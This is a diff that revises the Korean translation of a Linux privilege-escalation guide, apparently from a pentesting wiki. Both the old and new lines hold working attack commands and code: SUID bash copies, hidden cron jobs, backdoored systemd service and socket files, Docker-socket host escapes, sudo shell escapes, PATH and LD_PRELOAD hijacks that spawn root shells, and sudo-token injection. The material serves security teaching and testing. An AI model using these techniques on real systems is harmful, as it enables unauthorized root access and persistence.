@ -340,9 +340,9 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
|
||||
```bash
|
||||
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
|
||||
```
|
||||
**경로가** _**/some/path/\***_ **와 같이 와일드카드 앞에 오는 경우, 취약하지 않습니다 (심지어** _**./\***_ **도 그렇습니다).**
|
||||
**와일드카드가** _**/some/path/\***_ **와 같은 경로 앞에 있으면 취약하지 않습니다 (심지어** _**./\***_ **도 그렇습니다).**
|
||||
|
||||
와일드카드 악용 트릭에 대한 자세한 내용은 다음 페이지를 참조하세요:
|
||||
다음 페이지에서 더 많은 와일드카드 악용 요령을 읽어보세요:
|
||||
|
||||
{{#ref}}
|
||||
wildcards-spare-tricks.md
|
||||
@ -364,7 +364,7 @@ ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
|
||||
|
||||
1분, 2분 또는 5분마다 실행되는 프로세스를 검색하기 위해 프로세스를 모니터링할 수 있습니다. 이를 활용하여 권한을 상승시킬 수 있습니다.
|
||||
|
||||
예를 들어, **1분 동안 0.1초마다 모니터링**하고, **덜 실행된 명령어로 정렬**한 후, 가장 많이 실행된 명령어를 삭제하려면 다음과 같이 할 수 있습니다:
|
||||
예를 들어, **1분 동안 0.1초마다 모니터링**하고, **가장 적게 실행된 명령어로 정렬**한 후, 가장 많이 실행된 명령어를 삭제하려면 다음과 같이 할 수 있습니다:
|
||||
```bash
|
||||
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
|
||||
```
|
||||
@ -372,28 +372,28 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
|
||||
|
||||
### 보이지 않는 크론 작업
|
||||
|
||||
크론 작업을 **주석 뒤에 캐리지 리턴을 넣어 생성하는 것이 가능합니다** (줄 바꿈 문자가 없이), 그리고 크론 작업이 작동합니다. 예시 (캐리지 리턴 문자를 주목하세요):
|
||||
**주석 뒤에 캐리지 리턴을 넣어** 크론 작업을 생성하는 것이 가능합니다(줄 바꿈 문자가 없이), 그리고 크론 작업이 작동합니다. 예시(캐리지 리턴 문자에 주목):
|
||||
```bash
|
||||
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
|
||||
```
|
||||
## 서비스
|
||||
## Services
|
||||
|
||||
### 쓰기 가능한 _.service_ 파일
|
||||
### Writable _.service_ files
|
||||
|
||||
`.service` 파일에 쓸 수 있는지 확인하세요. 쓸 수 있다면, 서비스가 **시작**, **재시작** 또는 **중지**될 때 **백도어를 실행하도록** **수정할 수 있습니다** (기계가 재부팅될 때까지 기다려야 할 수도 있습니다).\
|
||||
`.service` 파일에 쓸 수 있는지 확인하세요. 쓸 수 있다면, 서비스가 **시작**, **재시작** 또는 **중지**될 때 **백도어를 실행하도록** **수정할 수 있습니다** (아마도 기계가 재부팅될 때까지 기다려야 할 것입니다).\
|
||||
예를 들어, `.service` 파일 안에 **`ExecStart=/tmp/script.sh`**로 백도어를 생성하세요.
|
||||
|
||||
### 쓰기 가능한 서비스 바이너리
|
||||
### Writable service binaries
|
||||
|
||||
서비스에 의해 실행되는 바이너리에 **쓰기 권한**이 있는 경우, 이를 백도어로 변경할 수 있으므로 서비스가 다시 실행될 때 백도어가 실행됩니다.
|
||||
|
||||
### systemd PATH - 상대 경로
|
||||
### systemd PATH - Relative Paths
|
||||
|
||||
**systemd**에서 사용되는 PATH를 확인할 수 있습니다:
|
||||
```bash
|
||||
systemctl show-environment
|
||||
```
|
||||
경로의 폴더 중 어느 곳에서든 **쓰기**가 가능하다고 판단되면 **권한 상승**이 가능할 수 있습니다. 다음과 같은 서비스 구성 파일에서 사용되는 **상대 경로**를 검색해야 합니다:
|
||||
경로의 폴더 중에서 **쓰기**가 가능한 곳을 찾으면 **권한 상승**이 가능할 수 있습니다. 다음과 같은 서비스 구성 파일에서 사용되는 **상대 경로**를 검색해야 합니다:
|
||||
```bash
|
||||
ExecStart=faraday-server
|
||||
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
|
||||
@ -401,11 +401,11 @@ ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
|
||||
```
|
||||
그런 다음, 쓸 수 있는 systemd PATH 폴더 내에 **상대 경로 이진 파일**과 **같은 이름**의 **실행 파일**을 생성하고, 서비스가 취약한 작업(**시작**, **중지**, **다시 로드**)을 실행하라고 요청받을 때, 당신의 **백도어가 실행될 것입니다** (비특권 사용자는 일반적으로 서비스를 시작/중지할 수 없지만 `sudo -l`을 사용할 수 있는지 확인하십시오).
|
||||
|
||||
**서비스에 대한 자세한 내용은 `man systemd.service`를 참조하십시오.**
|
||||
**`man systemd.service`를 통해 서비스에 대해 더 알아보세요.**
|
||||
|
||||
## **타이머**
|
||||
|
||||
**타이머**는 `**.service**` 파일 또는 이벤트를 제어하는 `**.timer**`로 끝나는 systemd 유닛 파일입니다. **타이머**는 달력 시간 이벤트와 단조 시간 이벤트에 대한 기본 지원이 있어 비동기적으로 실행될 수 있으므로 cron의 대안으로 사용할 수 있습니다.
|
||||
**타이머**는 `**.service**` 파일이나 이벤트를 제어하는 `**.timer**`로 끝나는 systemd 유닛 파일입니다. **타이머**는 달력 시간 이벤트와 단조 시간 이벤트에 대한 기본 지원이 있어 비동기적으로 실행될 수 있으므로 cron의 대안으로 사용될 수 있습니다.
|
||||
|
||||
모든 타이머를 나열하려면:
|
||||
```bash
|
||||
@ -419,14 +419,14 @@ Unit=backdoor.service
|
||||
```
|
||||
문서에서 유닛에 대해 읽을 수 있습니다:
|
||||
|
||||
> 이 타이머가 만료될 때 활성화할 유닛입니다. 인수는 ".timer" 접미사가 없는 유닛 이름입니다. 지정하지 않으면 이 값은 접미사를 제외하고 타이머 유닛과 동일한 이름을 가진 서비스로 기본 설정됩니다. (위 참조.) 활성화되는 유닛 이름과 타이머 유닛의 유닛 이름은 접미사를 제외하고 동일하게 명명하는 것이 좋습니다.
|
||||
> 이 타이머가 만료될 때 활성화할 유닛입니다. 인수는 ".timer" 접미사가 없는 유닛 이름입니다. 지정하지 않으면 이 값은 타이머 유닛과 동일한 이름을 가진 서비스로 기본 설정됩니다(위 참조). 활성화되는 유닛 이름과 타이머 유닛의 유닛 이름은 접미사를 제외하고 동일하게 명명하는 것이 좋습니다.
|
||||
|
||||
따라서 이 권한을 악용하려면 다음이 필요합니다:
|
||||
|
||||
- **쓰기 가능한 바이너리**를 **실행하는** 일부 systemd 유닛(예: `.service`) 찾기
|
||||
- **상대 경로**를 **실행하는** 일부 systemd 유닛을 찾고, **systemd PATH**에 대해 **쓰기 권한**이 있어야 합니다(해당 실행 파일을 가장하기 위해)
|
||||
- **쓰기 가능한 바이너리**를 **실행하는 systemd 유닛** 찾기
|
||||
- **상대 경로**를 **실행하는 systemd 유닛**을 찾고, **systemd PATH**에 대해 **쓰기 권한**이 있어야 합니다(해당 실행 파일을 가장하기 위해)
|
||||
|
||||
**타이머에 대해 더 알아보려면 `man systemd.timer`를 참조하세요.**
|
||||
**`man systemd.timer`로 타이머에 대해 더 알아보세요.**
|
||||
|
||||
### **타이머 활성화**
|
||||
|
||||
@ -446,19 +446,19 @@ Unix Domain Sockets (UDS)는 클라이언트-서버 모델 내에서 동일하
|
||||
**소켓에 대해 더 알아보려면 `man systemd.socket`를 참조하세요.** 이 파일 내에서 여러 흥미로운 매개변수를 구성할 수 있습니다:
|
||||
|
||||
- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 이 옵션들은 다르지만, **소켓이 어디에서 수신 대기할지를 나타내기 위해 요약됩니다** (AF_UNIX 소켓 파일의 경로, 수신 대기할 IPv4/6 및/또는 포트 번호 등)
|
||||
- `Accept`: 부울 인수를 받습니다. **true**인 경우, **각 수신 연결에 대해 서비스 인스턴스가 생성**되며, 연결 소켓만 전달됩니다. **false**인 경우, 모든 수신 대기 소켓 자체가 **시작된 서비스 유닛에 전달**되며, 모든 연결에 대해 단 하나의 서비스 유닛이 생성됩니다. 이 값은 단일 서비스 유닛이 모든 수신 트래픽을 무조건 처리하는 데이터그램 소켓 및 FIFO에 대해 무시됩니다. **기본값은 false**입니다. 성능상의 이유로, 새로운 데몬은 `Accept=no`에 적합한 방식으로만 작성하는 것이 권장됩니다.
|
||||
- `ExecStartPre`, `ExecStartPost`: 수신 대기 **소켓**/FIFO가 **생성**되고 바인딩되기 **전** 또는 **후**에 **실행되는** 하나 이상의 명령줄을 받습니다. 명령줄의 첫 번째 토큰은 절대 파일 이름이어야 하며, 그 다음에 프로세스에 대한 인수가 옵니다.
|
||||
- `ExecStopPre`, `ExecStopPost`: 수신 대기 **소켓**/FIFO가 **닫히고** 제거되기 **전** 또는 **후**에 **실행되는** 추가 **명령**입니다.
|
||||
- `Service`: **수신 트래픽**에 대해 **활성화할** **서비스** 유닛 이름을 지정합니다. 이 설정은 Accept=no인 소켓에 대해서만 허용됩니다. 기본값은 소켓과 동일한 이름을 가진 서비스입니다 (접미사가 대체됨). 대부분의 경우, 이 옵션을 사용할 필요는 없습니다.
|
||||
- `Accept`: 부울 인수를 받습니다. **true**인 경우, **각 수신 연결에 대해 서비스 인스턴스가 생성**되며, 연결 소켓만 전달됩니다. **false**인 경우, 모든 수신 소켓 자체가 **시작된 서비스 유닛에 전달**되며, 모든 연결에 대해 단 하나의 서비스 유닛이 생성됩니다. 이 값은 단일 서비스 유닛이 모든 수신 트래픽을 무조건 처리하는 데이터그램 소켓 및 FIFO에 대해 무시됩니다. **기본값은 false**입니다. 성능상의 이유로, 새로운 데몬은 `Accept=no`에 적합한 방식으로만 작성하는 것이 권장됩니다.
|
||||
- `ExecStartPre`, `ExecStartPost`: 하나 이상의 명령줄을 받으며, 이는 각각 수신 대기하는 **소켓**/FIFO가 **생성**되고 바인딩되기 **전후에** **실행**됩니다. 명령줄의 첫 번째 토큰은 절대 파일 이름이어야 하며, 그 다음에 프로세스에 대한 인수가 따라야 합니다.
|
||||
- `ExecStopPre`, `ExecStopPost`: 각각 수신 대기하는 **소켓**/FIFO가 **닫히고** 제거되기 **전후에** **실행되는** 추가 **명령**입니다.
|
||||
- `Service`: **수신 트래픽**에 대해 **활성화할** **서비스** 유닛 이름을 지정합니다. 이 설정은 Accept=no인 소켓에 대해서만 허용됩니다. 기본적으로 소켓과 동일한 이름을 가진 서비스로 설정됩니다 (접미사가 대체됨). 대부분의 경우 이 옵션을 사용할 필요는 없습니다.
|
||||
|
||||
### Writable .socket files
|
||||
|
||||
**쓰기 가능한** `.socket` 파일을 찾으면 `[Socket]` 섹션의 시작 부분에 `ExecStartPre=/home/kali/sys/backdoor`와 같은 내용을 **추가**할 수 있으며, 그러면 소켓이 생성되기 전에 백도어가 실행됩니다. 따라서 **기계가 재부팅될 때까지 기다려야 할 것입니다.**\
|
||||
**쓰기 가능한** `.socket` 파일을 찾으면 `[Socket]` 섹션의 시작 부분에 `ExecStartPre=/home/kali/sys/backdoor`와 같은 내용을 추가할 수 있으며, 그러면 소켓이 생성되기 전에 백도어가 실행됩니다. 따라서 **기계가 재부팅될 때까지 기다려야 할 것입니다.**\
|
||||
_시스템이 해당 소켓 파일 구성을 사용해야 백도어가 실행됩니다._
|
||||
|
||||
### Writable sockets
|
||||
|
||||
**쓰기 가능한 소켓을 식별하면** (_지금은 Unix 소켓에 대해 이야기하고 있으며 구성 `.socket` 파일에 대해서는 아닙니다_), **해당 소켓과 통신할 수 있으며** 아마도 취약점을 악용할 수 있습니다.
|
||||
**쓰기 가능한 소켓을 식별하면** (_지금은 Unix 소켓에 대해 이야기하고 있으며 구성 `.socket` 파일에 대해 이야기하는 것이 아닙니다_), **해당 소켓과 통신할 수 있으며** 아마도 취약점을 악용할 수 있습니다.
|
||||
|
||||
### Enumerate Unix Sockets
|
||||
```bash
|
||||
@ -481,17 +481,17 @@ socket-command-injection.md
|
||||
|
||||
### HTTP 소켓
|
||||
|
||||
**HTTP** 요청을 수신 대기하는 **소켓**이 있을 수 있습니다 (_저는 .socket 파일이 아니라 유닉스 소켓으로 작동하는 파일에 대해 이야기하고 있습니다_). 이를 확인하려면 다음을 사용할 수 있습니다:
|
||||
HTTP 요청을 수신 대기하는 **소켓이 있을 수 있습니다** (_저는 .socket 파일이 아니라 유닉스 소켓으로 작동하는 파일에 대해 이야기하고 있습니다_). 이를 확인하려면 다음을 사용할 수 있습니다:
|
||||
```bash
|
||||
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
|
||||
```
|
||||
If the socket **응답이 HTTP** 요청을 보내면, **통신**할 수 있으며 아마도 **취약점을 악용**할 수 있습니다.
|
||||
If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**.
|
||||
|
||||
### 쓰기 가능한 Docker 소켓
|
||||
### Writable Docker Socket
|
||||
|
||||
Docker 소켓은 일반적으로 `/var/run/docker.sock`에 위치하며, 보안이 필요한 중요한 파일입니다. 기본적으로 `root` 사용자와 `docker` 그룹의 구성원이 쓸 수 있습니다. 이 소켓에 대한 쓰기 권한을 가지면 권한 상승이 발생할 수 있습니다. 다음은 이를 수행하는 방법과 Docker CLI를 사용할 수 없는 경우의 대체 방법에 대한 설명입니다.
|
||||
|
||||
#### **Docker CLI를 통한 권한 상승**
|
||||
#### **Privilege Escalation with Docker CLI**
|
||||
|
||||
Docker 소켓에 대한 쓰기 권한이 있는 경우, 다음 명령어를 사용하여 권한을 상승시킬 수 있습니다:
|
||||
```bash
|
||||
@ -504,7 +504,7 @@ docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nse
|
||||
|
||||
Docker CLI를 사용할 수 없는 경우에도 Docker 소켓은 Docker API와 `curl` 명령어를 사용하여 조작할 수 있습니다.
|
||||
|
||||
1. **Docker 이미지 목록:** 사용 가능한 이미지 목록을 검색합니다.
|
||||
1. **Docker 이미지 목록:** 사용 가능한 이미지 목록을 가져옵니다.
|
||||
|
||||
```bash
|
||||
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
|
||||
@ -536,9 +536,9 @@ Upgrade: tcp
|
||||
|
||||
### 기타
|
||||
|
||||
Docker 소켓에 대한 쓰기 권한이 있는 경우, 즉 **`docker` 그룹에 속해 있는 경우** [**권한 상승을 위한 더 많은 방법이 있습니다**](interesting-groups-linux-pe/index.html#docker-group). [**docker API가 포트에서 수신 대기 중인 경우, 이를 손상시킬 수 있습니다**](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
**docker** 그룹에 **속해 있기 때문에** docker 소켓에 대한 쓰기 권한이 있는 경우 [**권한 상승을 위한 더 많은 방법**](interesting-groups-linux-pe/index.html#docker-group)이 있습니다. [**docker API가 포트에서 수신 대기 중인 경우** 이를 타협할 수 있습니다](../../network-services-pentesting/2375-pentesting-docker.md#compromising).
|
||||
|
||||
다음에서 **docker에서 탈출하거나 권한을 상승시키기 위해 악용할 수 있는 더 많은 방법을 확인하세요**:
|
||||
다음에서 **docker에서 탈출하거나 권한 상승을 위해 악용할 수 있는 더 많은 방법**을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
docker-security/
|
||||
@ -562,13 +562,13 @@ runc-privilege-escalation.md
|
||||
|
||||
## **D-Bus**
|
||||
|
||||
D-Bus는 애플리케이션이 효율적으로 상호작용하고 데이터를 공유할 수 있게 해주는 정교한 **프로세스 간 통신(IPC) 시스템**입니다. 현대 Linux 시스템을 염두에 두고 설계된 D-Bus는 다양한 형태의 애플리케이션 통신을 위한 강력한 프레임워크를 제공합니다.
|
||||
D-Bus는 애플리케이션이 효율적으로 상호 작용하고 데이터를 공유할 수 있게 해주는 정교한 **프로세스 간 통신(IPC) 시스템**입니다. 현대 Linux 시스템을 염두에 두고 설계된 D-Bus는 다양한 형태의 애플리케이션 통신을 위한 강력한 프레임워크를 제공합니다.
|
||||
|
||||
이 시스템은 기본 IPC를 지원하여 프로세스 간 데이터 교환을 향상시키며, **향상된 UNIX 도메인 소켓**을 연상시킵니다. 또한 이벤트나 신호를 방송하는 데 도움을 주어 시스템 구성 요소 간의 원활한 통합을 촉진합니다. 예를 들어, Bluetooth 데몬에서 수신 전화에 대한 신호가 음악 플레이어를 음소거하도록 할 수 있어 사용자 경험을 향상시킵니다. 추가로, D-Bus는 원격 객체 시스템을 지원하여 애플리케이션 간의 서비스 요청 및 메서드 호출을 간소화하여 전통적으로 복잡했던 프로세스를 간소화합니다.
|
||||
|
||||
D-Bus는 **허용/거부 모델**에 따라 작동하며, 메시지 권한(메서드 호출, 신호 전송 등)을 누적 효과에 따라 관리합니다. 이러한 정책은 버스와의 상호작용을 지정하며, 이러한 권한을 악용하여 권한 상승을 허용할 수 있습니다.
|
||||
D-Bus는 **허용/거부 모델**에 따라 작동하며, 메시지 권한(메서드 호출, 신호 전송 등)을 누적 효과에 따라 관리합니다. 이러한 정책은 버스와의 상호 작용을 지정하며, 이러한 권한을 악용하여 권한 상승을 허용할 수 있습니다.
|
||||
|
||||
`/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 정책의 예는 root 사용자가 `fi.w1.wpa_supplicant1`에 대해 메시지를 소유하고, 전송하고, 수신할 수 있는 권한을 자세히 설명합니다.
|
||||
`/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 정책의 예는 root 사용자가 `fi.w1.wpa_supplicant1`으로부터 메시지를 소유하고, 전송하고, 수신할 수 있는 권한을 상세히 설명합니다.
|
||||
|
||||
지정된 사용자나 그룹이 없는 정책은 보편적으로 적용되며, "기본" 컨텍스트 정책은 다른 특정 정책에 의해 다루어지지 않는 모든 경우에 적용됩니다.
|
||||
```xml
|
||||
@ -587,7 +587,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
|
||||
|
||||
## **네트워크**
|
||||
|
||||
네트워크를 열거하고 머신의 위치를 파악하는 것은 항상 흥미롭습니다.
|
||||
네트워크를 열거하고 기계의 위치를 파악하는 것은 항상 흥미롭습니다.
|
||||
|
||||
### 일반적인 열거
|
||||
```bash
|
||||
@ -654,7 +654,7 @@ gpg --list-keys 2>/dev/null
|
||||
### Big UID
|
||||
|
||||
일부 Linux 버전은 **UID > INT_MAX**를 가진 사용자가 권한을 상승시킬 수 있는 버그의 영향을 받았습니다. 더 많은 정보: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 및 [here](https://twitter.com/paragonsec/status/1071152249529884674).\
|
||||
**다음과 같이 악용할 수 있습니다**: **`systemd-run -t /bin/bash`**
|
||||
**이용하기**: **`systemd-run -t /bin/bash`**
|
||||
|
||||
### Groups
|
||||
|
||||
@ -703,7 +703,7 @@ sudo를 사용하여 일부 명령을 실행할 수 있도록 허용되었거나
|
||||
sudo -l #Check commands you can execute with sudo
|
||||
find / -perm -4000 2>/dev/null #Find all SUID binaries
|
||||
```
|
||||
일부 **예상치 못한 명령은 파일을 읽거나 쓸 수 있거나 심지어 명령을 실행할 수 있게 해줍니다.** 예를 들어:
|
||||
일부 **예상치 못한 명령은 파일을 읽거나/또는 쓸 수 있거나 심지어 명령을 실행할 수 있게 해줍니다.** 예를 들어:
|
||||
```bash
|
||||
sudo awk 'BEGIN {system("/bin/sh")}'
|
||||
sudo find /etc -exec sh -i \;
|
||||
@ -732,7 +732,7 @@ $ sudo -l
|
||||
User waldo may run the following commands on admirer:
|
||||
(ALL) SETENV: /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
이 예제는 **HTB 머신 Admirer**를 기반으로 하며, 스크립트를 루트로 실행할 때 임의의 파이썬 라이브러리를 로드하기 위해 **PYTHONPATH 하이재킹**에 **취약**했습니다:
|
||||
이 예제는 **HTB 머신 Admirer**를 기반으로 하며, 스크립트를 루트로 실행하는 동안 임의의 파이썬 라이브러리를 로드하기 위해 **PYTHONPATH 하이재킹**에 **취약**했습니다:
|
||||
```bash
|
||||
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
|
||||
```
|
||||
@ -755,7 +755,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files
|
||||
```
|
||||
**대응책**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/)
|
||||
|
||||
### 명령 경로가 없는 Sudo 명령/SUID 바이너리
|
||||
### Sudo 명령/SUID 바이너리 경로 없이
|
||||
|
||||
**sudo 권한**이 단일 명령에 **경로를 지정하지 않고** 부여된 경우: _hacker10 ALL= (root) less_ PATH 변수를 변경하여 이를 악용할 수 있습니다.
|
||||
```bash
|
||||
@ -763,7 +763,7 @@ export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
sudo less
|
||||
```
|
||||
이 기술은 **suid** 바이너리가 **경로를 지정하지 않고 다른 명령을 실행할 때도 사용할 수 있습니다 (이상한 SUID 바이너리의 내용을 항상 _**strings**_로 확인하세요)**.
|
||||
이 기술은 **suid** 바이너리가 **경로를 지정하지 않고 다른 명령을 실행할 때도 사용할 수 있습니다 (항상 이상한 SUID 바이너리의 내용을 _**strings**_로 확인하세요)**.
|
||||
|
||||
[실행할 페이로드 예시.](payloads-to-execute.md)
|
||||
|
||||
@ -771,12 +771,12 @@ sudo less
|
||||
|
||||
만약 **suid** 바이너리가 **경로를 지정하여 다른 명령을 실행한다면**, suid 파일이 호출하는 명령과 같은 이름의 **함수를 내보내기** 위해 시도할 수 있습니다.
|
||||
|
||||
예를 들어, suid 바이너리가 _**/usr/sbin/service apache2 start**_를 호출하는 경우, 함수를 생성하고 내보내기 위해 시도해야 합니다:
|
||||
예를 들어, suid 바이너리가 _**/usr/sbin/service apache2 start**_를 호출한다면, 함수를 생성하고 내보내기 위해 시도해야 합니다:
|
||||
```bash
|
||||
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
||||
export -f /usr/sbin/service
|
||||
```
|
||||
그런 다음, suid 이진 파일을 호출하면 이 함수가 실행됩니다.
|
||||
그런 다음, suid 바이너리를 호출하면 이 함수가 실행됩니다.
|
||||
|
||||
### LD_PRELOAD & **LD_LIBRARY_PATH**
|
||||
|
||||
@ -814,7 +814,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
> [!CAUTION]
|
||||
> 공격자가 **LD_LIBRARY_PATH** 환경 변수를 제어하는 경우, 유사한 권한 상승이 악용될 수 있습니다. 이는 공격자가 라이브러리를 검색할 경로를 제어하기 때문입니다.
|
||||
> 공격자가 **LD_LIBRARY_PATH** 환경 변수를 제어하는 경우 유사한 권한 상승이 악용될 수 있습니다. 이는 공격자가 라이브러리를 검색할 경로를 제어하기 때문입니다.
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -842,7 +842,7 @@ strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
예를 들어, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_와 같은 오류가 발생하면, 이는 악용 가능성을 시사합니다.
|
||||
|
||||
이를 악용하기 위해, _"/path/to/.config/libcalc.c"_라는 C 파일을 생성하고 다음 코드를 포함시켜야 합니다:
|
||||
이를 악용하기 위해, _"/path/to/.config/libcalc.c"_라는 C 파일을 생성하고 다음 코드를 포함시킵니다:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -888,7 +888,7 @@ system("/bin/bash -p");
|
||||
```shell-session
|
||||
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
|
||||
```
|
||||
그것은 당신이 생성한 라이브러리에 `a_function_name`이라는 함수가 필요하다는 것을 의미합니다.
|
||||
그것은 당신이 생성한 라이브러리에 `a_function_name`이라는 함수가 있어야 함을 의미합니다.
|
||||
|
||||
### GTFOBins
|
||||
|
||||
@ -920,7 +920,7 @@ https://gtfoargs.github.io/
|
||||
권한 상승을 위한 요구 사항:
|
||||
|
||||
- 이미 "_sampleuser_" 사용자로 셸을 가지고 있음
|
||||
- "_sampleuser_"가 **최근 15분 이내에 `sudo`**를 사용하여 무언가를 실행했음 (기본적으로 이는 비밀번호를 입력하지 않고 `sudo`를 사용할 수 있는 sudo 토큰의 지속 시간입니다)
|
||||
- "_sampleuser_"가 **최근 15분 이내에 `sudo`**를 사용하여 무언가를 실행했음 (기본적으로 이는 비밀번호를 입력하지 않고 `sudo`를 사용할 수 있게 해주는 sudo 토큰의 지속 시간입니다)
|
||||
- `cat /proc/sys/kernel/yama/ptrace_scope`가 0임
|
||||
- `gdb`에 접근 가능 (업로드할 수 있어야 함)
|
||||
|
||||
@ -928,13 +928,13 @@ https://gtfoargs.github.io/
|
||||
|
||||
이 모든 요구 사항이 충족되면, **다음 링크를 사용하여 권한을 상승시킬 수 있습니다:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
|
||||
|
||||
- **첫 번째 익스플로잇**(`exploit.sh`)은 _/tmp_에 `activate_sudo_token` 바이너리를 생성합니다. 이를 사용하여 **세션에서 sudo 토큰을 활성화할 수 있습니다** (자동으로 루트 셸을 얻지 않으며, `sudo su`를 실행해야 함):
|
||||
- **첫 번째 익스플로잇**(`exploit.sh`)은 _/tmp_에 `activate_sudo_token`이라는 바이너리를 생성합니다. 이를 사용하여 **세션에서 sudo 토큰을 활성화할 수 있습니다** (자동으로 루트 셸을 얻지 않으며, `sudo su`를 실행해야 함):
|
||||
```bash
|
||||
bash exploit.sh
|
||||
/tmp/activate_sudo_token
|
||||
sudo su
|
||||
```
|
||||
- 두 번째 익스플로잇 (`exploit_v2.sh`)은 _/tmp_에 **setuid가 설정된 root 소유의 sh 셸**을 생성합니다.
|
||||
- 두 번째 익스플로잇 (`exploit_v2.sh`)은 _/tmp_에 **setuid가 설정된 root 소유의** sh 쉘을 생성합니다.
|
||||
```bash
|
||||
bash exploit_v2.sh
|
||||
/tmp/sh -p
|
||||
@ -946,8 +946,8 @@ sudo su
|
||||
```
|
||||
### /var/run/sudo/ts/\<Username>
|
||||
|
||||
폴더에 **쓰기 권한**이 있거나 폴더 내에 생성된 파일 중 하나에 대해 쓰기 권한이 있는 경우, 이진 파일 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)을 사용하여 **사용자 및 PID에 대한 sudo 토큰을 생성**할 수 있습니다.\
|
||||
예를 들어, _/var/run/sudo/ts/sampleuser_ 파일을 덮어쓸 수 있고, PID 1234로 해당 사용자로 쉘을 가지고 있다면, 비밀번호를 알 필요 없이 **sudo 권한을 얻을 수** 있습니다.
|
||||
해당 폴더 또는 폴더 내에 생성된 파일에 **쓰기 권한**이 있는 경우, 이진 파일 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)을 사용하여 **사용자 및 PID에 대한 sudo 토큰을 생성**할 수 있습니다.\
|
||||
예를 들어, _/var/run/sudo/ts/sampleuser_ 파일을 덮어쓸 수 있고, PID 1234로 해당 사용자로 쉘을 가지고 있다면, 비밀번호를 알 필요 없이 **sudo 권한을 얻을 수 있습니다**:
|
||||
```bash
|
||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
```
|
||||
@ -979,9 +979,9 @@ permit nopass demo as root cmd vim
|
||||
```
|
||||
### Sudo Hijacking
|
||||
|
||||
만약 **사용자가 일반적으로 머신에 연결하고 `sudo`를 사용하여 권한을 상승시키는** 것을 알고 있고, 그 사용자 컨텍스트 내에서 쉘을 얻었다면, **새로운 sudo 실행 파일을 생성**하여 루트로서 당신의 코드를 실행한 다음 사용자의 명령을 실행할 수 있습니다. 그런 다음, **사용자 컨텍스트의 $PATH를 수정**하여 (예: .bash_profile에 새로운 경로 추가) 사용자가 sudo를 실행할 때 당신의 sudo 실행 파일이 실행되도록 합니다.
|
||||
만약 **사용자가 일반적으로 머신에 연결하고 `sudo`를 사용하여 권한을 상승시키는** 것을 알고 있고, 그 사용자 컨텍스트 내에서 쉘을 얻었다면, **새로운 sudo 실행 파일을 생성**하여 루트로서 당신의 코드를 실행하고 그 다음 사용자의 명령을 실행할 수 있습니다. 그런 다음, **사용자 컨텍스트의 $PATH를 수정**하여 (예: .bash_profile에 새로운 경로 추가) 사용자가 sudo를 실행할 때 당신의 sudo 실행 파일이 실행되도록 합니다.
|
||||
|
||||
사용자가 다른 쉘(배시가 아님)을 사용하는 경우, 새로운 경로를 추가하기 위해 다른 파일을 수정해야 한다는 점에 유의하세요. 예를 들어[ sudo-piggyback](https://github.com/APTy/sudo-piggyback)는 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`를 수정합니다. [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)에서 또 다른 예를 찾을 수 있습니다.
|
||||
사용자가 다른 쉘(배시가 아닌)을 사용하는 경우, 새로운 경로를 추가하기 위해 다른 파일을 수정해야 한다는 점에 유의하세요. 예를 들어[ sudo-piggyback](https://github.com/APTy/sudo-piggyback)는 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`를 수정합니다. [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)에서 또 다른 예를 찾을 수 있습니다.
|
||||
|
||||
